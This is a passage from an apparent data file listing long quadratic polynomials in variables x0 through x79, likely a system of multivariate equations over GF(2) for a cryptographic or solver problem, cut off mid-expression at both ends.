x50 + x51*x53 + x51*x54 + x51*x55 + x51*x56 + x51*x57 + x51*x58 + x51*x63 + x51*x65 + x51*x67 + x51*x68 + x51*x70 + x51*x71 + x51*x72 + x51*x73 + x51*x75 + x51*x76 + x51*x77 + x51 + x52*x54 + x52*x56 + x52*x57 + x52*x58 + x52*x59 + x52*x60 + x52*x62 + x52*x65 + x52*x66 + x52*x67 + x52*x68 + x52*x69 + x52*x70 + x52*x71 + x52*x73 + x52*x76 + x52*x77 + x52*x78 + x52*x79 + x53*x55 + x53*x57 + x53*x58 + x53*x59 + x53*x60 + x53*x61 + x53*x62 + x53*x63 + x53*x64 + x53*x65 + x53*x68 + x53*x70 + x53*x71 + x53*x76 + x53*x77 + x53*x78 + x53*x79 + x54*x55 + x54*x56 + x54*x58 + x54*x60 + x54*x62 + x54*x63 + x54*x64 + x54*x68 + x54*x72 + x54*x73 + x54*x74 + x54*x75 + x54*x76 + x54*x78 + x55*x61 + x55*x62 + x55*x63 + x55*x64 + x55*x67 + x55*x68 + x55*x71 + x55*x73 + x55*x74 + x55*x76 + x55*x77 + x55*x78 + x55*x79 + x55 + x56*x57 + x56*x61 + x56*x63 + x56*x64 + x56*x65 + x56*x68 + x56*x69 + x56*x71 + x56*x72 + x56*x74 + x56*x79 + x57*x58 + x57*x59 + x57*x61 + x57*x62 + x57*x65 + x57*x66 + x57*x68 + x57*x69 + x57*x71 + x57*x73 + x57*x75 + x57*x78 + x57*x79 + x58*x61 + x58*x62 + x58*x63 + x58*x65 + x58*x67 + x58*x68 + x58*x70 + x58*x71 + x58*x72 + x58*x73 + x58*x74 + x58*x75 + x58*x76 + x58*x77 + x58*x78 + x59*x61 + x59*x62 + x59*x64 + x59*x65 + x59*x67 + x59*x69 + x59*x70 + x59*x71 + x59*x72 + x59*x74 + x59*x76 + x59*x77 + x59*x79 + x60*x61 + x60*x62 + x60*x64 + x60*x66 + x60*x67 + x60*x69 + x60*x71 + x60*x72 + x60*x74 + x60*x76 + x60*x77 + x60*x78 + x60*x79 + x60 + x61*x64 + x61*x65 + x61*x66 + x61*x67 + x61*x69 + x61*x70 + x61*x71 + x61*x73 + x61*x74 + x61*x75 + x62*x64 + x62*x66 + x62*x67 + x62*x68 + x62*x70 + x62*x72 + x62*x77 + x62*x78 + x63*x64 + x63*x66 + x63*x70 + x63*x71 + x63*x74 + x63*x75 + x63*x77 + x63 + x64*x66 + x64*x68 + x64*x73 + x64*x74 + x64*x76 + x64*x77 + x64*x78 + x64 + x65*x67 + x65*x70 + x65*x74 + x65 + x66*x68 + x66*x69 + x66*x71 + x66*x72 + x66 + x67*x70 + x67*x72 + x67*x73 + x67*x75 + x67*x76 + x67*x77 + x68*x70 + x68*x71 + x68*x75 + x68*x76 + x69*x71 + x69*x75 + x69*x77 + x69*x78 + x69*x79 + x70*x71 + x70*x72 + x70*x73 + x70*x76 + x70*x77 + x70*x79 + x71*x72 + x71*x73 + x71*x76 + x71 + x72*x75 + x72*x77 + x73*x77 + x73*x79 + x74*x79 + x75*x76 + x75*x78 + x75*x79 + x75 + x76*x78 + x76*x79 + x76 + x77 + x79, x0*x1 + x0*x3 + x0*x4 + x0*x6 + x0*x10 + x0*x11 + x0*x13 + x0*x15 + x0*x18 + x0*x19 + x0*x22 + x0*x23 + x0*x25 + x0*x29 + x0*x31 + x0*x32 + x0*x37 + x0*x39 + x0*x40 + x0*x43 + x0*x45 + x0*x49 + x0*x50 + x0*x51 + x0*x52 + x0*x53 + x0*x55 + x0*x56 + x0*x57 + x0*x58 + x0*x59 + x0*x60 + x0*x62 + x0*x63 + x0*x65 + x0*x66 + x0*x67 + x0*x68 + x0*x69 + x0*x71 + x0*x72 + x0*x76 + x0*x78 + x0 + x1*x3 + x1*x5 + x1*x10 + x1*x12 + x1*x15 + x1*x19 + x1*x24 + x1*x29 + x1*x30 + x1*x32 + x1*x33 + x1*x35 + x1*x36 + x1*x39 + x1*x42 + x1*x43 + x1*x48 + x1*x50 + x1*x58 + x1*x59 + x1*x60 + x1*x61 + x1*x63 + x1*x66 + x1*x67 + x1*x68 + x1*x69 + x1*x70 + x1*x72 + x1*x73 + x1*x75 + x1*x77 + x2*x4 + x2*x5 + x2*x6 + x2*x8 + x2*x14 + x2*x18 + x2*x21 + x2*x22 + x2*x23 + x2*x24 + x2*x31 + x2*x32 + x2*x34 + x2*x37 + x2*x40 + x2*x43 + x2*x44 + x2*x47 + x2*x48 + x2*x49 + x2*x54 + x2*x55 + x2*x57 + x2*x58 + x2*x59 + x2*x60 + x2*x61 + x2*x64 + x2*x67 + x2*x68 + x2*x71 + x2*x73 + x2*x74 + x2*x76 + x3*x5 + x3*x6 + x3*x10 + x3*x11 + x3*x12 + x3*x13 + x3*x15 + x3*x16 + x3*x18 + x3*x19 + x3*x23 + x3*x29 + x3*x30 + x3*x32 + x3*x35 + x3*x36 + x3*x39 + x3*x40 + x3*x42 + x3*x44 + x3*x45 + x3*x46 + x3*x48 + x3*x49 + x3*x50 + x3*x55 + x3*x56 + x3*x57 + x3*x58 + x3*x60 + x3*x61 + x3*x65 + x3*x66 + x3*x67 + x3*x69 + x3*x71 + x3*x77 + x3*x79 + x4*x5 + x4*x7 + x4*x8 + x4*x12 + x4*x19 + x4*x21 + x4*x23 + x4*x25 + x4*x27 + x4*x28 + x4*x29 + x4*x30 + x4*x33 + x4*x36 + x4*x37 + x4*x39 + x4*x40 + x4*x41 + x4*x42 + x4*x43 + x4*x44 + x4*x45 + x4*x49 + x4*x50 + x4*x52 + x4*x53 + x4*x54 + x4*x60 + x4*x61 + x4*x64 + x4*x67 + x4*x70 + x4*x71 + x4*x74 + x4*x77 + x4*x78 + x5*x6 + x5*x12 + x5*x15 + x5*x16 + x5*x17 + x5*x19 + x5*x20 + x5*x21 + x5*x25 + x5*x28 + x5*x29 + x5*x30 + x5*x31 + x5*x32 + x5*x35 + x5*x37 + x5*x38 + x5*x41 + x5*x42 + x5*x43 + x5*x45 + x5*x46 + x5*x50 + x5*x52 + x5*x53 + x5*x55 + x5*x58 + x5*x61 + x5*x63 + x5*x64 + x5*x66 + x5*x69 + x5*x71 + x5*x77 + x5 + x6*x7 + x6*x8 + x6*x9 + x6*x10 + x6*x12 + x6*x14 + x6*x15 + x6*x16 + x6*x17 + x6*x19 + x6*x21 + x6*x22 + x6*x28 + x6*x31 + x6*x34 + x6*x38 + x6*x40 + x6*x41 + x6*x42 + x6*x43 + x6*x45 + x6*x46 + x6*x47 + x6*x50 + x6*x53 + x6*x54 + x6*x55 + x6*x56 + x6*x57 + x6*x59 + x6*x62 + x6*x64 + x6*x66 + x6*x69 + x6*x75 + x6*x77 + x6*x78 + x7*x9 + x7*x11 + x7*x12 + x7*x17 + x7*x20 + x7*x21 + x7*x28 + x7*x29 + x7*x30 + x7*x31 + x7*x33 + x7*x35 + x7*x43 + x7*x44 + x7*x45 + x7*x46 + x7*x49 + x7*x51 + x7*x52 + x7*x53 + x7*x54 + x7*x55 + x7*x58 + x7*x59 + x7*x62 + x7*x64 + x7*x66 + x7*x68 + x7*x76 + x7*x78 + x7*x79 + x7 + x8*x9 + x8*x11 + x8*x13 + x8*x15 + x8*x16 + x8*x18 + x8*x19 + x8*x22 + x8*x23 + x8*x25 + x8*x26 + x8*x30 + x8*x32 + x8*x33 + x8*x34 + x8*x36 + x8*x38 + x8*x40 + x8*x41 + x8*x43 + x8*x44 + x8*x46 + x8*x48 + x8*x52 + x8*x53 + x8*x54 + x8*x57 + x8*x58 + x8*x63 + x8*x68 + x8*x70 + x8*x72 + x8*x73 + x8*x74 + x8*x76 + x8*x77 + x8*x78 + x9*x15 + x9*x16 + x9*x17 + x9*x19 + x9*x21 + x9*x26 + x9*x28 + x9*x29 + x9*x31 + x9*x32 + x9*x35 + x9*x37 + x9*x39 + x9*x42 + x9*x44 + x9*x46 + x9*x48 + x9*x49 + x9*x51 + x9*x57 + x9*x62 + x9*x63 + x9*x65 + x9*x66 + x9*x67 + x9*x69 + x9*x73 + x9*x76 + x9*x77 + x9 + x10*x15 + x10*x17 + x10*x21 + x10*x23 + x10*x24 + x10*x25 + x10*x28 + x10*x29 + x10*x33 + x10*x34 + x10*x36 + x10*x37 + x10*x38 + x10*x41 + x10*x42 + x10*x44 + x10*x45 + x10*x49 + x10*x50 + x10*x52 + x10*x53 + x10*x54 + x10*x60 + x10*x61 + x10*x62 + x10*x64 + x10*x65 + x10*x66 + x10*x69 + x10*x70 + x10*x73 + x10*x75 + x10*x77 + x10*x79 + x11*x13 + x11*x14 + x11*x16 + x11*x17 + x11*x20 + x11*x21 + x11*x22 + x11*x24 + x11*x27 + x11*x28 + x11*x29 + x11*x31 + x11*x32 + x11*x35 + x11*x37 + x11*x43 + x11*x44 + x11*x47 + x11*x48 + x11*x50 + x11*x54 + x11*x59 + x11*x66 + x11*x69 + x11*x70 + x11*x74 + x11*x75 + x11*x76 + x11*x78 + x12*x13 + x12*x15 + x12*x17 + x12*x18 + x12*x21 + x12*x22 + x12*x23 + x12*x24 + x12*x25 + x12*x28 + x12*x29 + x12*x30 + x12*x34 + x12*x36 + x12*x37 + x12*x39 + x12*x40 + x12*x42 + x12*x43 + x12*x44 + x12*x47 + x12*x48 + x12*x49 + x12*x50 + x12*x51 + x12*x55 + x12*x56 + x12*x57 + x12*x61 + x12*x65 + x12*x71 + x12*x73 + x12*x74 + x12*x75 + x12*x76 + x12*x77 + x12*x78 + x13*x14 + x13*x16 + x13*x17 + x13*x23 + x13*x25 + x13*x28 + x13*x29 + x13*x30 + x13*x33 + x13*x34 + x13*x35 + x13*x40 + x13*x42 + x13*x46 + x13*x48 + x13*x49 + x13*x53 + x13*x55 + x13*x58 + x13*x61 + x13*x67 + x13*x68 + x13*x69 + x13*x71 + x13*x73 + x13*x75 + x13*x77 + x13*x79 + x13 + x14*x15 + x14*x17 + x14*x20 + x14*x22 + x14*x25 + x14*x27 + x14*x30 + x14*x32 + x14*x36 + x14*x38 + x14*x42 + x14*x45 + x14*x46 + x14*x51 + x14*x53 + x14*x54 + x14*x57 + x14*x58 + x14*x59 + x14*x60 + x14*x61 + x14*x62 + x14*x63 + x14*x64 + x14*x66 + x14*x70 + x14*x71 + x14*x74 + x14*x76 + x14*x79 + x14 + x15*x17 + x15*x18 + x15*x20 + x15*x24 + x15*x25 + x15*x29 + x15*x32 + x15*x34 + x15*x35 + x15*x38 + x15*x41 + x15*x42 + x15*x43 + x15*x47 + x15*x48 + x15*x49 + x15*x52 + x15*x54 + x15*x55 + x15*x56 + x15*x57 + x15*x59 + x15*x61 + x15*x65 + x15*x68 + x15*x69 + x15*x70 + x15*x72 + x15*x73 + x15*x74 + x15*x75 + x15*x76 + x15*x78 + x16*x17 + x16*x18 + x16*x19 + x16*x21 + x16*x23 + x16*x28 + x16*x29 + x16*x32 + x16*x39 + x16*x43 + x16*x44 + x16*x45 + x16*x55 + x16*x56 + x16*x57 + x16*x59 + x16*x62 + x16*x64 + x16*x65 + x16*x69 + x16*x75 + x16*x76 + x16*x77 + x16*x79 + x16 + x17*x19 + x17*x21 + x17*x23 + x17*x25 + x17*x26 + x17*x27 + x17*x29 + x17*x33 + x17*x34 + x17*x36 + x17*x37 + x17*x40 + x17*x45 + x17*x48 + x17*x50 + x17*x51 + x17*x53 + x17*x56 + x17*x59 + x17*x60 + x17*x61 + x17*x63 + x17*x64 + x17*x66 + x17*x67 + x17*x69 + x17*x72 + x17*x75 + x17*x76 + x17*x78 + x17 + x18*x19 + x18*x22 + x18*x24 + x18*x25 + x18*x29 + x18*x33 + x18*x34 + x18*x36 + x18*x39 + x18*x40 + x18*x43 + x18*x45 + x18*x46 + x18*x48 + x18*x52 + x18*x54 + x18*x56 + x18*x57 + x18*x58 + x18*x59 + x18*x62 + x18*x66 + x18*x70 + x18*x71 + x18*x72 + x18*x74 + x18*x75 + x18*x78 + x18*x79 + x19*x21 + x19*x22 + x19*x23 + x19*x25 + x19*x28 + x19*x31 + x19*x32 + x19*x33 + x19*x34 + x19*x35 + x19*x36 + x19*x40 + x19*x41 + x19*x42 + x19*x43 + x19*x45 + x19*x47 + x19*x48 + x19*x49 + x19*x50 + x19*x52 + x19*x53 + x19*x55 + x19*x57 + x19*x58 + x19*x63 + x19*x70 + x19*x71 + x19*x74 + x19*x76 + x19*x77 + x19*x78 + x19*x79 + x20*x21 + x20*x23 + x20*x26 + x20*x27 + x20*x30 + x20*x31 + x20*x32 + x20*x33 + x20*x37 + x20*x38 + x20*x40 + x20*x43 + x20*x46 + x20*x48 + x20*x49 + x20*x51 + x20*x53 + x20*x55 + x20*x58 + x20*x59 + x20*x60 + x20*x61 + x20*x62 + x20*x66 + x20*x69 + x20*x73 + x20*x75 + x20*x76 + x20*x78 + x20*x79 + x21*x22 + x21*x23 + x21*x25 + x21*x28 + x21*x31 + x21*x32 + x21*x33 + x21*x35 + x21*x36 + x21*x45 + x21*x46 + x21*x48 + x21*x49 + x21*x50 + x21*x55 + x21*x57 + x21*x59 + x21*x62 + x21*x67 + x21*x68 + x21*x72 + x21*x73 + x21*x74 + x21*x76 + x21*x77 + x21*x79 + x21 + x22*x29 + x22*x32 + x22*x33 + x22*x37 + x22*x38 + x22*x42 + x22*x44 + x22*x45 + x22*x46 + x22*x47 + x22*x50 + x22*x51 + x22*x52 + x22*x53 + x22*x55 + x22*x57 + x22*x58 + x22*x60 + x22*x62 + x22*x63 + x22*x64 + x22*x65 + x22*x67 + x22*x68 + x22*x71 + x22*x72 + x22*x78 + x22 + x23*x25 + x23*x26 + x23*x28 + x23*x29 + x23*x32 + x23*x33 + x23*x34 + x23*x41 + x23*x47 + x23*x49 + x23*x50 + x23*x54 + x23*x55 + x23*x56 + x23*x57 + x23*x62 + x23*x63 + x23*x64 + x23*x65 + x23*x66 + x23*x75 + x23 + x24*x33 + x24*x35 + x24*x36 + x24*x37 + x24*x40 + x24*x41 + x24*x50 + x24*x52 + x24*x54 + x24*x56 + x24*x57 + x24*x59 + x24*x61 + x24*x65 + x24*x66 + x24*x69 + x24*x70 + x24*x71 + x24*x72 + x24*x75 + x24*x78 + x24*x79 + x24 + x25*x27 + x25*x28 + x25*x29 + x25*x30 + x25*x37 + x25*x38 + x25*x39 + x25*x41 + x25*x43 + x25*x45 + x25*x46 + x25*x47 + x25*x49 + x25*x51 + x25*x52 + x25*x53 + x25*x54 + x25*x56 + x25*x58 + x25*x62 + x25*x66 + x25*x67 + x25*x69 + x25*x70 + x25*x77 + x25*x78 + x25*x79 + x25 + x26*x27 + x26*x31 + x26*x32 + x26*x38 + x26*x42 + x26*x50 + x26*x56 + x26*x64 + x26*x66 + x26*x72 + x26*x76 + x26*x77 + x26*x78 + x26*x79 + x26 + x27*x36 + x27*x37 + x27*x38 + x27*x39 + x27*x41 + x27*x43 + x27*x44 + x27*x45 + x27*x47 + x27*x54 + x27*x55 + x27*x59 + x27*x60 + x27*x62 + x27*x70 + x27*x72 + x27*x73 + x27*x74 + x27*x76 + x28*x31 + x28*x32 + x28*x33 + x28*x39 + x28*x41 + x28*x42 + x28*x43 + x28*x44 + x28*x45 + x28*x50 + x28*x53 + x28*x55 + x28*x58 + x28*x59 + x28*x61 + x28*x65 + x28*x67 + x28*x70 + x28*x73 + x28*x74 + x28*x77 + x28*x78 + x28*x79 + x29*x30 + x29*x31 + x29*x32 + x29*x34 + x29*x35 + x29*x36 + x29*x49 + x29*x50 + x29*x53 + x29*x54 + x29*x57 + x29*x59 + x29*x62 + x29*x68 + x29*x74 + x29*x76 + x29*x77 + x29*x79 + x29 + x30*x35 + x30*x36 + x30*x37 + x30*x38 + x30*x42 + x30*x43 + x30*x46 + x30*x50 + x30*x51 + x30*x52 + x30*x53 + x30*x55 + x30*x58 + x30*x59 + x30*x60 + x30*x62 + x30*x63 + x30*x65 + x30*x66 + x30*x67 + x30*x70 + x30*x71 + x30*x72 + x30*x74 + x30*x79 + x30 + x31*x32 + x31*x33 + x31*x36 + x31*x37 + x31*x40 + x31*x42 + x31*x43 + x31*x45 + x31*x49 + x31*x50 + x31*x51 + x31*x52 + x31*x53 + x31*x60 + x31*x61 + x31*x63 + x31*x64 + x31*x70 + x31*x73 + x31*x74 + x31*x77 + x31*x79 + x31 + x32*x34 + x32*x35 + x32*x36 + x32*x42 + x32*x43 + x32*x44 + x32*x45 + x32*x46 + x32*x47 + x32*x48 + x32*x51 + x32*x56 + x32*x57 + x32*x61 + x32*x62 + x32*x63 + x32*x64 + x32*x66 + x32*x67 + x32*x70 + x32*x78 + x32*x79 + x32 + x33*x34 + x33*x36 + x33*x37 + x33*x38 + x33*x39 + x33*x42 + x33*x43 + x33*x45 + x33*x46 + x33*x48 + x33*x49 + x33*x50 + x33*x51 + x33*x53 + x33*x55 + x33*x57 + x33*x58 + x33*x59 + x33*x61 + x33*x62 + x33*x64 + x33*x65 + x33*x66 + x33*x67 + x33*x69 + x33*x71 + x33*x72 + x33*x76 + x33*x77 + x33*x78 + x33*x79 + x34*x37 + x34*x39 + x34*x42 + x34*x43 + x34*x44 + x34*x46 + x34*x47 + x34*x52 + x34*x53 + x34*x54 + x34*x55 + x34*x57 + x34*x63 + x34*x65 + x34*x66 + x34*x67 + x34*x68 + x34*x69 + x34*x70 + x34*x71 + x34*x72 + x34*x73 + x34*x77 + x34 + x35*x37 + x35*x41 + x35*x42 + x35*x43 + x35*x51 + x35*x52 + x35*x54 + x35*x55 + x35*x57 + x35*x60 + x35*x63 + x35*x64 + x35*x65 + x35*x67 + x35*x70 + x35*x71 + x35*x72 + x35*x74 + x35*x79 + x36*x37 + x36*x38 + x36*x40 + x36*x42 + x36*x43 + x36*x44 + x36*x45 + x36*x48 + x36*x49 + x36*x50 + x36*x53 + x36*x55 + x36*x57 + x36*x58 + x36*x59 + x36*x64 + x36*x66 + x36*x68 + x36*x70 + x36*x71 + x36*x72 + x36*x74 + x36*x77 + x36*x79 + x36 + x37*x40 + x37*x44 + x37*x48 + x37*x49 + x37*x51 + x37*x53 + x37*x55 + x37*x57 + x37*x61 + x37*x62 + x37*x63 + x37*x64 + x37*x66 + x37*x67 + x37*x72 + x37*x74 + x37*x75 + x37*x78 + x38*x43 + x38*x44 + x38*x46 + x38*x49 + x38*x50 + x38*x52 + x38*x53 + x38*x54 + x38*x56 + x38*x61 + x38*x62 + x38*x63 + x38*x65 + x38*x66 + x38*x67 + x38*x68 + x38*x70 + x38*x72 + x38*x73 + x38*x74 + x38*x75 + x38*x76 + x38*x78 + x38*x79 + x38 + x39*x40 + x39*x46 + x39*x48 + x39*x49 + x39*x51 + x39*x52 + x39*x53 + x39*x54 + x39*x60 + x39*x61 + x39*x64 + x39*x65 + x39*x69 + x39*x71 + x39*x73 + x39*x77 + x39 + x40*x43 + x40*x45 + x40*x46 + x40*x49 + x40*x50 + x40*x55 + x40*x56 + x40*x59 + x40*x61 + x40*x63 + x40*x64 + x40*x66 + x40*x67 + x40*x70 + x40*x72 + x40*x73 + x40*x75 + x40*x77 + x40*x79 + x40 + x41*x46 + x41*x48 + x41*x49 + x41*x50 + x41*x53 + x41*x54 + x41*x55 + x41*x56 + x41*x57 + x41*x58 + x41*x66 + x41*x67 + x41*x68 + x41*x70 + x41*x72 + x41*x76 + x41 + x42*x44 + x42*x47 + x42*x50 + x42*x51 + x42*x52 + x42*x53 + x42*x54 + x42*x55 + x42*x58 + x42*x61 + x42*x64 + x42*x65 + x42*x67 + x42*x70 + x42*x74 + x42*x75 + x42*x78 + x43*x49 + x43*x52 + x43*x53 + x43*x54 + x43*x56 + x43*x57 + x43*x58 + x43*x59 + x43*x64 + x43*x65 + x43*x67 + x43*x68 + x43*x70 + x43*x71 + x43*x72 + x43*x73 + x43*x75 + x43*x76 + x43*x79 + x43 + x44*x45 + x44*x46 + x44*x47 + x44*x49 + x44*x50 + x44*x57 + x44*x58 + x44*x60 + x44*x65 + x44*x66 + x44*x67 + x44*x76 + x44*x77 + x44*x78 + x44 + x45*x46 + x45*x47 + x45*x51 + x45*x52 + x45*x53 + x45*x55 + x45*x58 + x45*x61 + x45*x64 + x45*x65 + x45*x66 + x45*x69 + x45*x70 + x45*x71 + x45*x72 + x45*x73 + x45*x74 + x45*x77 + x45*x78 + x46*x47 + x46*x50 + x46*x52 + x46*x54 + x46*x56 + x46*x59 + x46*x62 + x46*x63 + x46*x65 + x46*x66 + x46*x72 + x46*x75 + x46*x77 + x46*x79 + x46 + x47*x48 + x47*x49 + x47*x50 + x47*x51 + x47*x52 + x47*x54 + x47*x55 + x47*x56 + x47*x59 + x47*x61 + x47*x65 + x47*x66 + x47*x67 + x47*x68 + x47*x70 + x47*x72 + x47*x73 + x47*x74 + x47*x75 + x47*x77 + x47 + x48*x50 + x48*x53 + x48*x54 + x48*x57 + x48*x58 + x48*x59 + x48*x62 + x48*x63 + x48*x66 + x48*x68 + x48*x69 + x48*x70 + x48*x71 + x48*x72 + x48*x78 + x48*x79 + x49*x50 + x49*x52 + x49*x54 + x49*x56 + x49*x57 + x49*x62 + x49*x63 + x49*x65 + x49*x66 + x49*x67 + x49*x69 + x49*x71 + x49*x72 + x49*x73 + x49*x74 + x49*x75 + x49*x79 + x49 + x50*x56 + x50*x57 + x50*x61 + x50*x62 + x50*x63 + x50*x64 + x50*x66 + x50*x67 + x50*x70 + x50*x73 + x50*x74 + x50*x78 + x51*x53 + x51*x54 + x51*x57 + x51*x59 + x51*x60 + x51*x62 + x51*x69 + x51*x71 + x51*x74 + x51*x75 + x51*x76 + x52*x53 + x52*x56 + x52*x58 + x52*x59 + x52*x60 + x52*x64 + x52*x65 + x52*x66 + x52*x67 + x52*x69 + x52*x74 + x52*x76 + x53*x54 + x53*x56 + x53*x57 + x53*x58 + x53*x59 + x53*x61 + x53*x62 + x53*x64 + x53*x68 + x53*x73 + x53*x74 + x53*x76 + x53*x77 + x53*x79 + x53 + x54*x56 + x54*x57 + x54*x59 + x54*x63 + x54*x64 + x54*x70 + x54*x74 + x54*x75 + x54*x76 + x54*x78 + x55*x61 + x55*x62 + x55*x63 + x55*x67 + x55*x69 + x55*x76 + x55*x78 + x55*x79 + x56*x57 + x56*x58 + x56*x64 + x56*x65 + x56*x68 + x56*x71 + x56*x72 + x56*x73 + x56*x74 + x57*x60 + x57*x62 + x57*x66 + x57*x68 + x57*x69 + x57*x70 + x57*x71 + x57*x72 + x57*x75 + x57*x76 + x57*x77 + x57*x78 + x57*x79 + x58*x60 + x58*x65 + x58*x67 + x58*x68 + x58*x69 + x58*x71 + x58*x73 + x58*x75 + x58*x76 + x58*x77 + x58 + x59*x60 + x59*x61 + x59*x65 + x59*x66 + x59*x69 + x59*x70 + x59*x72 + x59*x74 + x59*x75 + x59*x76 + x59*x79 + x60*x61 + x60*x67 + x60*x70 + x60*x71 + x60*x72 + x60*x75 + x60*x77 + x60*x79 + x61*x62 + x61*x67 + x61*x70 + x61*x73 + x61*x74 + x61*x76 + x61*x77 + x61*x79 + x61 + x62*x68 + x62*x71 + x62*x73 + x62*x74 + x62*x78 + x62*x79 + x63*x64 + x63*x66 + x63*x70 + x63*x74 + x63*x75 + x63*x76 + x63*x77 + x63 + x64*x65 + x64*x66 + x64*x71 + x64*x73 + x64*x74 + x64*x76 + x64*x79 + x64 + x65*x66 + x65*x67 + x65*x69 + x65*x71 + x65*x73 + x65*x75 + x65*x78 + x65 + x66*x67 + x66*x69 + x66*x71 + x66*x72 + x66*x73 + x66*x74 + x66*x75 + x66*x77 + x66 + x67*x72 + x67*x74 + x67*x75 + x67*x76 + x67*x77 + x67*x78 + x67*x79 + x67 + x68*x69 + x68*x70 + x68*x71 + x68*x73 + x68*x74 + x68*x75 + x68*x76 + x69*x70 + x69*x72 + x69*x74 + x69*x78 + x69*x79 + x70*x74 + x70 + x71*x72 + x71*x73 + x71*x75 + x71*x76 + x71*x79 + x72*x73 + x72*x77 + x72*x78 + x72*x79 + x72 + x73*x74 + x73*x76 + x73*x78 + x73*x79 + x74*x75 + x74*x76 + x74*x77 + x74*x78 + x74 + x75*x77 + x76*x78 + x77*x79 + x78, x0*x2 + x0*x3 + x0*x4 + x0*x6 + x0*x7 + x0*x8 + x0*x9 + x0*x11 + x0*x13 + x0*x15 + x0*x17 + x0*x19 + x0*x20 + x0*x23 + x0*x24 + x0*x26 + x0*x29 + x0*x31 + x0*x32 + x0*x35 + x0*x36 + x0*x37 + x0*x38 + x0*x39 + x0*x40 + x0*x41 + x0*x42 + x0*x44 + x0*x45 + x0*x46 + x0*x48 + x0*x49 + x0*x55 + x0*x56 + x0*x57 + x0*x58 + x0*x60 + x0*x61 + x0*x62 + x0*x63 + x0*x64 + x0*x68 + x0*x70 + x0*x73 + x0*x75 + x0*x76 + x0*x78 + x0*x79 + x1*x2 + x1*x3 + x1*x4 + x1*x5 + x1*x9 + x1*x10 + x1*x12 + x1*x13 + x1*x14 + x1*x17 + x1*x20 + x1*x21 + x1*x22 + x1*x23 + x1*x25 + x1*x27 + x1*x28 + x1*x29 + x1*x30 + x1*x32 + x1*x39 + x1*x40 + x1*x43 + x1*x44 + x1*x45 + x1*x47 + x1*x50 + x1*x55 + x1*x57 + x1*x58 + x1*x59 + x1*x63 + x1*x64 + x1*x65 + x1*x66 + x1*x69 + x1*x70 + x1*x71 + x1*x76 + x1*x78 + x2*x3 + x2*x5 + x2*x6 + x2*x8 + x2*x10 + x2*x11 + x2*x13 + x2*x19 + x2*x21 + x2*x23 + x2*x25 + x2*x26 + x2*x30 + x2*x33 + x2*x34 + x2*x35 + x2*x36 + x2*x37 + x2*x39 + x2*x40 + x2*x41 + x2*x43 + x2*x44 + x2*x46 + x2*x47 + x2*x50 + x2*x52 + x2*x55 + x2*x56 + x2*x58 + x2*x59 + x2*x62 + x2*x64 + x2*x65 + x2*x67 + x2*x68 + x2*x71 + x2*x72 + x2*x73 + x2*x75 + x2*x76 + x2*x78 + x2 + x3*x4 + x3*x6 + x3*x8 + x3*x10 + x3*x11 + x3*x14 + x3*x19 + x3*x20 + x3*x21 + x3*x22 + x3*x26 + x3*x27 + x3*x29 + x3*x30 + x3*x32 + x3*x33 + x3*x34 + x3*x36 + x3*x38 + x3*x40 + x3*x43 + x3*x44 + x3*x45 + x3*x49 + x3*x53 + x3*x54 + x3*x56 + x3*x61 + x3*x62 + x3*x63 + x3*x64 + x3*x65 + x3*x66 + x3*x70 + x3*x72 + x3*x75 + x3*x76 + x3*x77 + x4*x5 + x4*x6 + x4*x7 + x4*x14 + x4*x20 + x4*x22 + x4*x25 + x4*x26 + x4*x28 + x4*x29 + x4*x30 + x4*x31 + x4*x38 + x4*x39 + x4*x41 + x4*x44 + x4*x46 + x4*x47 + x4*x54 + x4*x55 + x4*x56 + x4*x60 + x4*x62 + x4*x63 + x4*x65 + x4*x66 + x4*x68 + x4*x75 + x4*x76 + x4*x78 + x4*x79 + x4 + x5*x7 + x5*x10 + x5*x11 + x5*x14 + x5*x20 + x5*x31 + x5*x34 + x5*x40 + x5*x41 + x5*x43 + x5*x44 + x5*x46 + x5*x47 + x5*x48 + x5*x50 + x5*x51 + x5*x54 + x5*x55 + x5*x60 + x5*x61 + x5*x62 + x5*x64 + x5*x65 + x5*x70 + x5*x71 + x5*x73 + x5*x77 + x5 + x6*x12 + x6*x13 + x6*x16 + x6*x19 + x6*x20 + x6*x24 + x6*x26 + x6*x27 + x6*x29 + x6*x30 + x6*x32 + x6*x33 + x6*x34 + x6*x36 + x6*x40 + x6*x41 + x6*x48 + x6*x49 + x6*x50 + x6*x51 + x6*x52 + x6*x53 + x6*x54 + x6*x59 + x6*x63 + x6*x64 + x6*x65 + x6*x68 + x6*x69 + x6*x70 + x6*x72 + x6*x74 + x6*x75 + x6*x76 + x6*x77 + x6*x78 + x6*x79 + x6 + x7*x10 + x7*x11 + x7*x14 + x7*x15 + x7*x17 + x7*x18 + x7*x19 + x7*x24 + x7*x26 + x7*x28 + x7*x31 + x7*x32 + x7*x35 + x7*x36 + x7*x37 + x7*x38 + x7*x40 + x7*x43 + x7*x48 + x7*x51 + x7*x52 + x7*x53 + x7*x54 + x7*x55 + x7*x56 + x7*x58 + x7*x59 + x7*x62 + x7*x63 + x7*x66 + x7*x67 + x7*x68 + x7*x70 + x7*x73 + x7*x74 + x7*x78 + x7*x79 + x7 + x8*x10 + x8*x13 + x8*x14 + x8*x16 + x8*x21 + x8*x23 + x8*x24 + x8*x25 + x8*x30 + x8*x32 + x8*x34 + x8*x37 + x8*x38 + x8*x39 + x8*x40 + x8*x42 + x8*x44 + x8*x45 + x8*x48 + x8*x49 + x8*x50 + x8*x52 + x8*x54 + x8*x55 + x8*x56 + x8*x71 + x8*x72 + x8*x76 + x8*x78 + x8 + x9*x10 + x9*x13 + x9*x17 + x9*x18 + x9*x20 + x9*x21 + x9*x22 + x9*x23 + x9*x24 + x9*x26 + x9*x29 + x9*x31 + x9*x34 + x9*x37 + x9*x39 + x9*x40 + x9*x41 + x9*x44 + x9*x46 + x9*x47 + x9*x49 + x9*x50 + x9*x52 + x9*x53 + x9*x55 + x9*x56 + x9*x58 + x9*x59 + x9*x60 + x9*x61 + x9*x64 + x9*x65 + x9*x67 + x9*x70 + x9*x73 + x9*x74 + x9*x75 + x9*x78 + x10*x15 + x10*x17 + x10*x18 + x10*x20 + x10*x21 + x10*x22 + x10*x24 + x10*x26 + x10*x30 + x10*x33 + x10*x35 + x10*x36 + x10*x37 + x10*x38 + x10*x40 + x10*x42 + x10*x44 + x10*x46 + x10*x47 + x10*x49 + x10*x51 + x10*x52 + x10*x54 + x10*x55 + x10*x57 + x10*x59 + x10*x62 + x10*x63 + x10*x64 + x10*x67 + x10*x70 + x10*x71 + x10*x72 + x10*x74 + x10*x75 + x10*x76 + x10*x77 + x11*x12 + x11*x14 + x11*x17 + x11*x18 + x11*x19 + x11*x21 